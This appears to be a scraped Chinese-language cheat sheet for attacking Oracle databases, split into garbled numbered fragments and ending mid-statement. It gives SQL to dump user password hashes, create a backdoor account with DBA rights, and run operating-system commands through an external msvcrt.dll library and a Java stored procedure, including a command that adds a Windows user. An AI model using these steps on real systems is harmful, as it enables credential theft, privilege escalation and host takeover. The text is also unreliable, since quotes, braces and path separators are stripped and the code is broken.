1、 select username,password from dba_users; /查看所有用户密码hash select * from dba_sys_privs where grantee=SYSTEM;查系统权限 grant select any dictionary to system with admin option;登陆不上OEM时候需要此权限 Select name,password FROM user$ Where name=SCOTT /低版本查看单用户密码 Select username,decode(password,NULL,NULL,password) passw
2、ord FROM dba_users; /查看用户hash create user bob identified by iloveyou;建用户bob密码iloveyou grant dba to bob;赋予bob DBA权限 grant execute on xmldom to bob 赋予用户execute Create ROLE javauserpriv NOT IDENTIFIEDjavasyspriv NOT IDENTIFIED 当提示role JAVASYSPRIV does not exist使用 select grantee from dba_role_privs wher
3、e granted_role=DBA 检查那些用户有DBA权限 select * from dba_directories;查看路径所在目录 第二部分,创建java,执行系统命令 no.1 Create or REPLACE LIBRARY exec_shell AS c:windowssystem32msvcrt.dll / show errors Create or REPLACE PACKAGE oracmd IS PROCEDURE exec (cmdstring IN CHAR); end oracmd; Create or REPLACE PACKAGE BODY oracmd I
4、S PROCEDURE exec(cmdstring IN CHAR) IS EXTERNAL NAME system LIBRARY exec_shell LANGUAGE C; show errors上面这个没有回显的 如果不行可以使用下面这个$ORACLE_HOMEmsvcrt.dll show errors执行完后 执行 exec oracmd.exec (net1 user robert iloveyou /add);no2. Create or REPLACE AND COMPILE JAVA SOURCE NAMED Host AS import java.io.*; publi
5、c class Host public static void executeCommand(String command) try String finalCommand; if (isWindows() finalCommand = new String4; / Use the appropriate path for your windows version. finalCommand0 = C:windowssystem32cmd.exe/ Windows XP/2003 /finalCommand0 = winntsystem32cmd.exe/ Windows NT/2000 fi
6、nalCommand1 = /y finalCommand2 = /c finalCommand3 = command; else finalCommand = new String3;/bin/sh-c finalCommand2 = command; final Process pr = Runtime.getRuntime().exec(finalCommand); pr.waitFor(); new Thread(new Runnable() public void run() BufferedReader br_in = null; br_in = new BufferedReade
7、r(new InputStreamReader(pr.getInputStream(); String buff = null; while (buff = br_in.readLine() != null) System.out.println(Process out : + buff); try Thread.sleep(100); catch(Exception e) br_in.close(); catch (IOException ioe) Exception caught printing process output. ioe.printStackTrace(); finally
8、 catch (Exception ex) ).start(); BufferedReader br_err = null; br_err = new BufferedReader(new InputStreamReader(pr.getErrorStream(); while (buff = br_err.readLine() !Process err : br_err.close();Exception caught printing process error. catch (Exception ex) System.out.println(ex.getLocalizedMessage(
9、); public static boolean isWindows() if (System.getProperty(os.name).toLowerCase().indexOf(windows) != -1) return true; else return false; ; Create or REPLACE PROCEDURE host_command (p_commandINVARCHAR2) AS LANGUAGE JAVA NAME Host.executeCommand (java.lang.String) EXEC DBMS_JAVA.grant_permission(, java.io.FilePermissionread ,write, execute, delete EXEC Dbms_Java.Grant_Permission(SYS:java.lang.RuntimePermissionwriteFileDescriptorreadFileDescriptor DECLARE l_output DBMS_OUTPUT.chararr; l_line
copyright@ 2008-2022 冰豆网网站版权所有
经营许可证编号:鄂ICP备2022015515号-1